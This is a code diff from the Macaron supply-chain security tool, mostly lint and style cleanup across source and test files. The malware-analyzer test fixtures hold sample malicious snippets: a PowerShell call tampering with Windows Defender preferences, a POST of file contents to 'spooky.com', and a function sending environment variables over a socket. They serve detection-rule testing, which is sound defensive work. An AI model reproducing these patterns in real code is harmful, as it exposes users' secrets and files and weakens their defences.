+ logger.debug("Potential attempt to redirect to an invalid URL: hostname %s", parsed_url.hostname)
+ return False
hostname = parsed_url.hostname
if hostname is None or hostname == "":
@@ -371,9 +370,7 @@ def can_download_file(url: str, size_limit: int, timeout: int | None = None) ->
return False
size = response.headers.get("Content-Length")
- if size and int(size) <= size_limit:
- return True
- return False
+ return bool(size and int(size) <= size_limit)
def download_file_with_size_limit(
@@ -471,10 +468,7 @@ def check_rate_limit(response: Response) -> None:
response : Response
The latest response from GitHub API.
"""
- if "X-RateLimit-Remaining" in response.headers:
- remains = int(response.headers["X-RateLimit-Remaining"])
- else:
- remains = 2
+ remains = int(response.headers["X-RateLimit-Remaining"]) if "X-RateLimit-Remaining" in response.headers else 2
if remains <= 1:
rate_limit_reset = response.headers.get("X-RateLimit-Reset", default="")
@@ -509,7 +503,7 @@ def construct_query(params: dict) -> str:
Examples
--------
- >>> construct_query({"bar":1,"foo":2})
+ >>> construct_query({"bar": 1, "foo": 2})
'bar=1&foo=2'
"""
return urllib.parse.urlencode(params)
@@ -531,9 +525,7 @@ def download_github_build_log(url: str, headers: dict) -> str:
The content of the downloaded build log or empty if error.
"""
logger.debug("Downloading content at link %s", url)
- response = requests.get(
- url=url, headers=headers, timeout=defaults.getint("requests", "timeout", fallback=10)
- ) # nosec B113:request_without_timeout
+ response = requests.get(url=url, headers=headers, timeout=defaults.getint("requests", "timeout", fallback=10))
return response.content.decode("utf-8")
@@ -621,7 +613,7 @@ class BytesDecoder:
"""
# Taken from https://w3techs.com/technologies/overview/character_encoding.
- COMMON_ENCODINGS = [
+ COMMON_ENCODINGS = (
"ISO-8859-1",
"cp1252",
"cp1251",
@@ -632,7 +624,7 @@ class BytesDecoder:
"cp1250",
"ISO-8859-2",
"big5",
- ]
+ )
@staticmethod
def decode(data: bytes) -> str | None:
diff --git a/src/macaron/vsa/vsa.py b/src/macaron/vsa/vsa.py
index 43b9ca156..5115b6153 100644
--- a/src/macaron/vsa/vsa.py
+++ b/src/macaron/vsa/vsa.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2024 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""VSA schema and generation."""
@@ -38,7 +38,7 @@ class Vsa(TypedDict):
"""
#: The payload type. Following in-toto, this is always ``application/vnd.in-toto+json``.
- payloadType: str # noqa: N815
+ payloadType: str
#: The payload of the VSA, base64 encoded.
payload: str
@@ -66,7 +66,7 @@ class VsaStatement(TypedDict):
#: Identifier for the type of the Predicate.
#: For Macaron-generated VSAs, this is always ``https://slsa.dev/verification_summary/v1``.
- predicateType: str # noqa: N815
+ predicateType: str
#: The Predicate of the attestation, providing information about the verification.
predicate: VsaPredicate
@@ -89,14 +89,14 @@ class VsaPredicate(TypedDict):
#: The timestamp when the verification occurred.
#: The field is a
#: `Timestamp `_.
- timeVerified: str # noqa: N815
+ timeVerified: str
#: URI that identifies the resource associated with the software component being verified.
#: This field is a
#: `ResourceURI `_.
#: Currently, this has the same value as the subject of the VSA, i.e. the PURL of
#: the software component being verified against.
- resourceUri: str # noqa: N815
+ resourceUri: str
#: The policy that the subject software component was verified against.
#: This field is a
@@ -104,12 +104,12 @@ class VsaPredicate(TypedDict):
policy: Policy
#: The verification result.
- verificationResult: VerificationResult # noqa: N815
+ verificationResult: VerificationResult
#: According to SLSA, this field "indicates the highest level of each track verified
#: for the artifact (and not its dependencies), or ``FAILED`` if policy verification failed".
#: We currently leave this list empty.
- verifiedLevels: list # noqa: N815
+ verifiedLevels: list
class Verifier(TypedDict):
@@ -120,7 +120,7 @@ class Verifier(TypedDict):
#: The identity of the verifier as a
#: `TypeURI `_.
- id: str # noqa: A003
+ id: str
#: A mapping from components of the verifier and their corresponding versions.
#: At the moment, this field only includes Macaron itself.
diff --git a/tests/analyze_json_output/compare_analyze_json_output.py b/tests/analyze_json_output/compare_analyze_json_output.py
index 322a902a8..d98c15f92 100755
--- a/tests/analyze_json_output/compare_analyze_json_output.py
+++ b/tests/analyze_json_output/compare_analyze_json_output.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module checks the result JSON files against the expected outputs."""
@@ -83,7 +83,7 @@ def compare_check_results(result: dict, expected: dict) -> int:
def compare_target_info(result: dict, expected: dict) -> int:
- """Compare the content of the target.info section"""
+ """Compare the content of the target.info section."""
# Remove nondeterministic fields
result["local_cloned_path"] = expected["local_cloned_path"] = ""
result["commit_date"] = expected["commit_date"] = ""
diff --git a/tests/artifact/test_local_artifact.py b/tests/artifact/test_local_artifact.py
index 5ac5cf651..0548b084a 100644
--- a/tests/artifact/test_local_artifact.py
+++ b/tests/artifact/test_local_artifact.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Test the local artifact utilities."""
@@ -121,7 +121,7 @@ def test_construct_local_artifact_paths_glob_pattern_pypi_purl_error(purl_str: s
def test_find_artifact_paths_from_invalid_python_venv() -> None:
- """Test find_artifact_paths_from_python_venv method with invalid venv path"""
+ """Test find_artifact_paths_from_python_venv method with invalid venv path."""
with pytest.raises(LocalArtifactFinderError):
find_artifact_dirs_from_python_venv("./does-not-exist", ["django", "django-5.0.6.dist-info"])
diff --git a/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py b/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py
index e837ab299..31b7fba6d 100644
--- a/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py
+++ b/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py
@@ -79,7 +79,7 @@ def test_comparing_gradle_cli_command_unequal(
"""Test comparing two unequal GradleCLICommand objects."""
this_command = gradle_cli_parser.parse(this.split())
that_command = gradle_cli_parser.parse(that.split())
- assert not this_command == that_command
+ assert this_command != that_command
@pytest.mark.parametrize(
diff --git a/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py b/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py
index 33ad2c276..2e5f697c5 100644
--- a/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py
+++ b/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains tests for the maven_cli_command module."""
@@ -65,7 +65,7 @@ def test_comparing_maven_cli_command_unequal(
"""Test comparing two unequal MavenCLICommand objects."""
this_command = maven_cli_parser.parse(this.split())
that_command = maven_cli_parser.parse(that.split())
- assert not this_command == that_command
+ assert this_command != that_command
@pytest.mark.parametrize(
diff --git a/tests/build_spec_generator/common_spec/test_core.py b/tests/build_spec_generator/common_spec/test_core.py
index 17c79cf66..219b9ac51 100644
--- a/tests/build_spec_generator/common_spec/test_core.py
+++ b/tests/build_spec_generator/common_spec/test_core.py
@@ -1,7 +1,7 @@
# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""This module contains the tests for build spec generation"""
+"""This module contains the tests for build spec generation."""
import pytest
from packageurl import PackageURL
@@ -24,14 +24,14 @@
[
pytest.param(
[
- "make clean".split(),
- "mvn clean package".split(),
+ ["make", "clean"],
+ ["mvn", "clean", "package"],
],
"make clean && mvn clean package",
),
pytest.param(
[
- "mvn clean package".split(),
+ ["mvn", "clean", "package"],
],
"mvn clean package",
),
diff --git a/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py b/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py
index 8c181d8d5..09bd2b5db 100644
--- a/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py
+++ b/tests/build_spec_generator/dockerfile/compare_dockerfile_buildspec.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Script to compare a generated dockerfile buildspec."""
@@ -67,7 +67,7 @@ def main() -> int:
def normalize(contents: str) -> list[str]:
- """Convert string of file contents to list of its non-empty lines"""
+ """Convert string of file contents to list of its non-empty lines."""
return [line.strip() for line in contents.splitlines() if line.strip()]
diff --git a/tests/build_spec_generator/dockerfile/test_dockerfile_output.py b/tests/build_spec_generator/dockerfile/test_dockerfile_output.py
index 2c7d8fab9..9bd94e9e1 100644
--- a/tests/build_spec_generator/dockerfile/test_dockerfile_output.py
+++ b/tests/build_spec_generator/dockerfile/test_dockerfile_output.py
@@ -1,9 +1,7 @@
# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-Test the logic to dispatch dockerfile generation
-"""
+"""Test the logic to dispatch dockerfile generation."""
import pytest
@@ -42,6 +40,6 @@ def fixture_base_build_spec() -> BaseBuildSpecDict:
def test_dispatch_error(maven_build_spec: BaseBuildSpecDict) -> None:
- """Ensure that dispatching for unsupported ecosystem fails"""
+ """Ensure that dispatching for unsupported ecosystem fails."""
with pytest.raises(GenerateBuildSpecError):
dockerfile_output.gen_dockerfile(maven_build_spec)
diff --git a/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py b/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py
index e4ab82833..17361c3f3 100644
--- a/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py
+++ b/tests/build_spec_generator/dockerfile/test_pypi_dockerfile_output.py
@@ -1,9 +1,7 @@
# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-Test the logic for dockerfile generation to rebuild PyPI packages.
-"""
+"""Test the logic for dockerfile generation to rebuild PyPI packages."""
import pytest
@@ -57,6 +55,6 @@ def fixture_base_build_spec() -> BaseBuildSpecDict:
def test_successful_generation(
monkeypatch: pytest.MonkeyPatch, snapshot: str, pypi_build_spec: BaseBuildSpecDict
) -> None:
- """Ensure that dockerfile is correctly generated for pypi_build_spec"""
+ """Ensure that dockerfile is correctly generated for pypi_build_spec."""
monkeypatch.setattr(pypi_dockerfile_output, "get_latest_cpython_patch", lambda _major, _minor: "3.9.25")
assert gen_dockerfile(pypi_build_spec) == snapshot
diff --git a/tests/build_spec_generator/test_build_command_patcher.py b/tests/build_spec_generator/test_build_command_patcher.py
index b1efc261b..7cafdaa2a 100644
--- a/tests/build_spec_generator/test_build_command_patcher.py
+++ b/tests/build_spec_generator/test_build_command_patcher.py
@@ -169,7 +169,7 @@ def test_patch_mvn_cli_command_error(
invalid_patch: dict[str, MavenOptionPatchValueType | None],
) -> None:
"""Test patch mvn cli command patching with invalid patch."""
- original_cmd = "mvn -s ../.github/maven-settings.xml install -Pexamples,noRun".split()
+ original_cmd = ["mvn", "-s", "../.github/maven-settings.xml", "install", "-Pexamples,noRun"]
assert (
_patch_command(
@@ -348,7 +348,16 @@ def test_patch_gradle_cli_command_error(
invalid_patch: dict[str, GradleOptionPatchValueType | None],
) -> None:
"""Test patch mvn cli command patching with invalid patch."""
- original_cmd = "gradle clean build --no-build-cache --debug --console plain -Dorg.gradle.parallel=true".split()
+ original_cmd = [
+ "gradle",
+ "clean",
+ "build",
+ "--no-build-cache",
+ "--debug",
+ "--console",
+ "plain",
+ "-Dorg.gradle.parallel=true",
+ ]
assert (
_patch_command(
cmd=original_cmd,
@@ -406,7 +415,7 @@ def test_patch_arbitrary_command(
("cmd", "patches"),
[
pytest.param(
- "mvn --this-is-not-a-mvn-option".split(),
+ ["mvn", "--this-is-not-a-mvn-option"],
{
PatchCommandBuildTool.MAVEN: {
"--debug": True,
@@ -418,7 +427,7 @@ def test_patch_arbitrary_command(
id="incorrect_mvn_command",
),
pytest.param(
- "gradle clean build --not-a-gradle-command".split(),
+ ["gradle", "clean", "build", "--not-a-gradle-command"],
{
PatchCommandBuildTool.MAVEN: {
"--debug": True,
@@ -430,7 +439,7 @@ def test_patch_arbitrary_command(
id="incorrect_gradle_command",
),
pytest.param(
- "mvn clean package".split(),
+ ["mvn", "clean", "package"],
{
PatchCommandBuildTool.MAVEN: {
"--not-a-valid-option": True,
@@ -439,7 +448,7 @@ def test_patch_arbitrary_command(
id="incorrect_patch_option_long_name",
),
pytest.param(
- "mvn clean package".split(),
+ ["mvn", "clean", "package"],
{
PatchCommandBuildTool.MAVEN: {
# --debug expects a boolean or a None value.
diff --git a/tests/build_spec_generator/test_macaron_db_extractor.py b/tests/build_spec_generator/test_macaron_db_extractor.py
index 8d63a4168..03de0d8c4 100644
--- a/tests/build_spec_generator/test_macaron_db_extractor.py
+++ b/tests/build_spec_generator/test_macaron_db_extractor.py
@@ -1,10 +1,10 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains tests for the macaron_db_extractor module."""
from collections.abc import Generator
-from datetime import datetime, timezone
+from datetime import UTC, datetime
from typing import Any
import pytest
@@ -72,15 +72,15 @@ def invalid_db_session() -> Generator[Session, Any, None]:
pytest.param(
[
(
- datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/oracle/macaron@0.16.0",
),
(
- datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/boo/foo@0.1.0",
),
(
- datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/oracle/macaron@0.16.0",
),
],
@@ -91,15 +91,15 @@ def invalid_db_session() -> Generator[Session, Any, None]:
pytest.param(
[
(
- datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/oracle/macaron@0.16.0",
),
(
- datetime(year=2025, month=12, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=12, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/oracle/macaron@0.16.0",
),
(
- datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/boo/foo@0.1.0",
),
],
@@ -159,11 +159,11 @@ def test_lookup_latest_component(
pytest.param(
[
(
- datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/boo/foo@0.2.0",
),
(
- datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
"pkg:maven/boo/boohoo@1.0",
),
],
@@ -211,7 +211,7 @@ def test_lookup_latest_component_empty_db(
def test_repository_information_from_latest_component(macaron_db_session: Session) -> None:
"""Test getting the repository information from looking up a latest component."""
analysis = Analysis(
- analysis_time=datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=timezone.utc),
+ analysis_time=datetime(year=2025, month=5, day=6, hour=10, minute=30, second=30, tzinfo=UTC),
macaron_version=__version__,
)
diff --git a/tests/database/test_database_manager.py b/tests/database/test_database_manager.py
index be205d296..138777cb2 100644
--- a/tests/database/test_database_manager.py
+++ b/tests/database/test_database_manager.py
@@ -1,9 +1,7 @@
-# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module test DatabaseManager.
-"""
+"""This module test DatabaseManager."""
import os
import sqlite3
@@ -27,7 +25,7 @@ class ORMMappedTable(Base):
__tablename__ = "_test_orm_table"
- id = Column(Integer, primary_key=True, autoincrement=True) # noqa: A003 pylint # ignore=invalid-name
+ id = Column(Integer, primary_key=True, autoincrement=True)
value = Column(String)
@@ -55,7 +53,10 @@ def db_man() -> Iterable:
],
)
def test_orm_mapping(
- db_man: DatabaseManager, identifier: int, test_value: str, expect: bool # pylint: disable=redefined-outer-name
+ db_man: DatabaseManager, # pylint: disable=redefined-outer-name
+ identifier: int,
+ test_value: str,
+ expect: bool,
) -> None:
"""Create a table and add rows."""
db_man.create_tables()
diff --git a/tests/dependency_analyzer/compare_dependencies.py b/tests/dependency_analyzer/compare_dependencies.py
index 9f3600334..dad6c47b8 100755
--- a/tests/dependency_analyzer/compare_dependencies.py
+++ b/tests/dependency_analyzer/compare_dependencies.py
@@ -1,9 +1,7 @@
-# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This script checks the dependency analysis results against the expected outputs.
-"""
+"""This script checks the dependency analysis results against the expected outputs."""
import json
import logging
diff --git a/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py b/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py
index 7d64af2a0..23b3ca63f 100755
--- a/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py
+++ b/tests/integration/cases/run_macaron_sh_script_unit_test/test_run_macaron_sh.py
@@ -1,15 +1,21 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Tests for the ``run_macaron.sh`` script."""
import os
-import subprocess # nosec B404
+import subprocess
import sys
import tempfile
-from collections import namedtuple
+import typing
-TestCase = namedtuple("TestCase", ["name", "script_args", "expected_macaron_args"])
+
+class TestCase(typing.NamedTuple):
+ """Wrap arguments for test script calls into objects of this class."""
+
+ name: str
+ script_args: list[str]
+ expected_macaron_args: list[str]
def run_test_case(
@@ -22,8 +28,8 @@ def run_test_case(
name, script_args, expected_macaron_args = test_case
print(f"test_macaron_command[{name}]:", end=" ")
- result = subprocess.run(
- [ # nosec B603
+ result = subprocess.run( # noqa: S603
+ [
"./output/run_macaron.sh",
*script_args,
],
diff --git a/tests/integration/run.py b/tests/integration/run.py
index 7bebdaf2b..65c2e9175 100644
--- a/tests/integration/run.py
+++ b/tests/integration/run.py
@@ -11,7 +11,7 @@
import logging.config
import os
import shutil
-import subprocess # nosec B404
+import subprocess
import sys
import time
from abc import abstractmethod
@@ -162,7 +162,7 @@ def run_command(self, cwd: str, macaron_cmd: str) -> int:
cwd=cwd,
env=patch_env(self.env),
check=False,
- ) # nosec: B603
+ )
end_time = time.monotonic_ns()
if self.expect_fail:
@@ -237,10 +237,7 @@ class ValidateSchemaStep(Step[ValidateSchemaStepOptions]):
@staticmethod
def options_schema(cwd: str, check_expected_result_files: bool) -> cfgv.Map:
"""Generate the schema of a schema validation step."""
- if check_expected_result_files:
- check_file = check_required_file(cwd)
- else:
- check_file = cfgv.check_string
+ check_file = check_required_file(cwd) if check_expected_result_files else cfgv.check_string
return cfgv.Map(
"schema options",
@@ -302,10 +299,7 @@ class CompareStep(Step[CompareStepOptions]):
@staticmethod
def options_schema(cwd: str, check_expected_result_files: bool) -> cfgv.Map:
"""Generate the schema of a compare step."""
- if check_expected_result_files:
- check_file = check_required_file(cwd)
- else:
- check_file = cfgv.check_string
+ check_file = check_required_file(cwd) if check_expected_result_files else cfgv.check_string
return cfgv.Map(
"compare options",
@@ -361,7 +355,7 @@ def update_result(self, cwd: str) -> int:
*[result_file, expected_file],
],
check=False,
- ) # nosec: B603
+ )
if proc.returncode != 0:
logger.error("Failed to update %s.", expected_file)
return 1
diff --git a/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py
index 5ade3b0ef..ee6ae7d0b 100644
--- a/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py
+++ b/tests/malware_analyzer/pypi/resources/sourcecode_samples/anti_analysis/anti_analysis.py
@@ -50,7 +50,7 @@ def cim_based_powershell():
"powershell",
"-Command",
"Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference " \
- "... more args ..."
+ "... more args ...",
])
except:
pass
diff --git a/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py b/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py
index e2602ef1f..36ded2b57 100644
--- a/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py
+++ b/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""
@@ -41,10 +41,10 @@ def file_exfil_to_urllib3():
http = man().request
http('POST', "spooky.com", body=oo.read(file, 2048))
- def environ_to_socket(): # nosemgrep
- import socket as s # nosemsemgrep
- from os import environ as environment_vars # nosemgrep
- with s.socket(s.AF_INET, s.SOCK_STREAM) as soc: # nosemgrep
- soc.connect(('localhost', 0)) # nosemgrep
- other = soc # nosemgrep
- other.send(environment_vars) # nosemgrep
+ def environ_to_socket(): # nosemgrep
+ import socket as s # nosemsemgrep
+ from os import environ as environment_vars # nosemgrep
+ with s.socket(s.AF_INET, s.SOCK_STREAM) as soc: # nosemgrep
+ soc.connect(('localhost', 0)) # nosemgrep
+ other = soc # nosemgrep
+ other.send(environment_vars) # nosemgrep
diff --git a/tests/malware_analyzer/pypi/test_anomalous_version.py b/tests/malware_analyzer/pypi/test_anomalous_version.py
index 45e533738..3c1e51407 100644
--- a/tests/malware_analyzer/pypi/test_anomalous_version.py
+++ b/tests/malware_analyzer/pypi/test_anomalous_version.py
@@ -1,7 +1,7 @@
# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""Tests for heuristic detecting anomalous version numbers"""
+"""Tests for heuristic detecting anomalous version numbers."""
from unittest.mock import MagicMock
@@ -13,7 +13,7 @@
def test_analyze_no_information(pypi_package_json: MagicMock) -> None:
- """Test for when there is no release information, so error"""
+ """Test for when there is no release information, so error."""
analyzer = AnomalousVersionAnalyzer()
pypi_package_json.get_releases.return_value = None
diff --git a/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py b/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py
index ecb774da8..49ae38ffb 100644
--- a/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py
+++ b/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py
@@ -1,7 +1,7 @@
# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""Tests for heuristic detecting malicious metadata from PyPI"""
+"""Tests for heuristic detecting malicious metadata from PyPI."""
from unittest.mock import MagicMock
diff --git a/tests/malware_analyzer/pypi/test_one_release_analyzer.py b/tests/malware_analyzer/pypi/test_one_release_analyzer.py
index 78ce0fbf9..cc9daa037 100644
--- a/tests/malware_analyzer/pypi/test_one_release_analyzer.py
+++ b/tests/malware_analyzer/pypi/test_one_release_analyzer.py
@@ -1,7 +1,7 @@
# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""Tests for heuristic detecting malicious metadata from PyPI"""
+"""Tests for heuristic detecting malicious metadata from PyPI."""
from unittest.mock import MagicMock
diff --git a/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py b/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py
index 2bedc75bc..70a5ed4c0 100644
--- a/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py
+++ b/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py
@@ -93,7 +93,7 @@ def test_nonexistent_rule_path(mock_defaults: MagicMock) -> None:
@patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults")
def test_invalid_custom_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None:
- """Test for when the provided file is not a valid semgrep rule, so error,"""
+ """Test for when the provided file is not a valid semgrep rule, so error."""
# Use this file as an invalid semgrep rule as it is most definitely not a semgrep rule, and does exist.
defaults = {
"custom_semgrep_rules_path": os.path.abspath(__file__),
@@ -121,7 +121,7 @@ def test_invalid_custom_rules(mock_defaults: MagicMock, pypi_package_json: Magic
[
pytest.param("obfuscation", "obfuscation.yaml", id="obfuscation"),
pytest.param("exfiltration", "exfiltration.yaml", id="exfiltration"),
- pytest.param("anti_analysis", "anti_analysis.yaml", id="anti_analysis")
+ pytest.param("anti_analysis", "anti_analysis.yaml", id="anti_analysis"),
],
)
def test_rules(
@@ -154,7 +154,7 @@ def test_rules(
@patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults")
def test_custom_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None:
- """Test that custom rulesets are properly run and appear in output detections"""
+ """Test that custom rulesets are properly run and appear in output detections."""
sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples")
custom_rule_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "custom_sample.yaml")
expected_ids = get_rule_ids_list(custom_rule_path)
@@ -212,7 +212,7 @@ def test_disabling_rulesets(
list_keys: set[str],
rulefile_path: str,
) -> None:
- """Test that rulesets can be disabled"""
+ """Test that rulesets can be disabled."""
sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples")
expected_ids = get_rule_ids_list(rulefile_path)
@@ -244,7 +244,7 @@ def test_disabling_rulesets(
@patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults")
def test_unknown_ruleset_exclusions(mock_defaults: MagicMock) -> None:
- """Test when there are ruleset names supplied to be disabled that don't exist"""
+ """Test when there are ruleset names supplied to be disabled that don't exist."""
defaults = {
"disabled_custom_rulesets": "custom_sample\ndoes_not_exist",
"custom_semgrep_rules_path": os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources"),
@@ -266,7 +266,7 @@ def test_unknown_ruleset_exclusions(mock_defaults: MagicMock) -> None:
@patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults")
def test_disabling_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None:
- """Test individual rules can be disabled"""
+ """Test individual rules can be disabled."""
sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples")
custom_rule_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "custom_sample.yaml")
expected_ids = {"custom_sample_1", "exfiltration_remote-exfiltration"}
diff --git a/tests/malware_analyzer/pypi/test_source_code_repo.py b/tests/malware_analyzer/pypi/test_source_code_repo.py
index 3cc9db15d..51ecd97c4 100644
--- a/tests/malware_analyzer/pypi/test_source_code_repo.py
+++ b/tests/malware_analyzer/pypi/test_source_code_repo.py
@@ -1,7 +1,7 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""Tests for heuristic detecting malicious metadata from PyPI"""
+"""Tests for heuristic detecting malicious metadata from PyPI."""
from unittest.mock import MagicMock
diff --git a/tests/malware_analyzer/pypi/test_type_stub_file.py b/tests/malware_analyzer/pypi/test_type_stub_file.py
index 565564d85..c1acfcf5a 100644
--- a/tests/malware_analyzer/pypi/test_type_stub_file.py
+++ b/tests/malware_analyzer/pypi/test_type_stub_file.py
@@ -66,10 +66,10 @@ def test_analyze_no_files_fail(analyzer: TypeStubFileAnalyzer, pypi_package_json
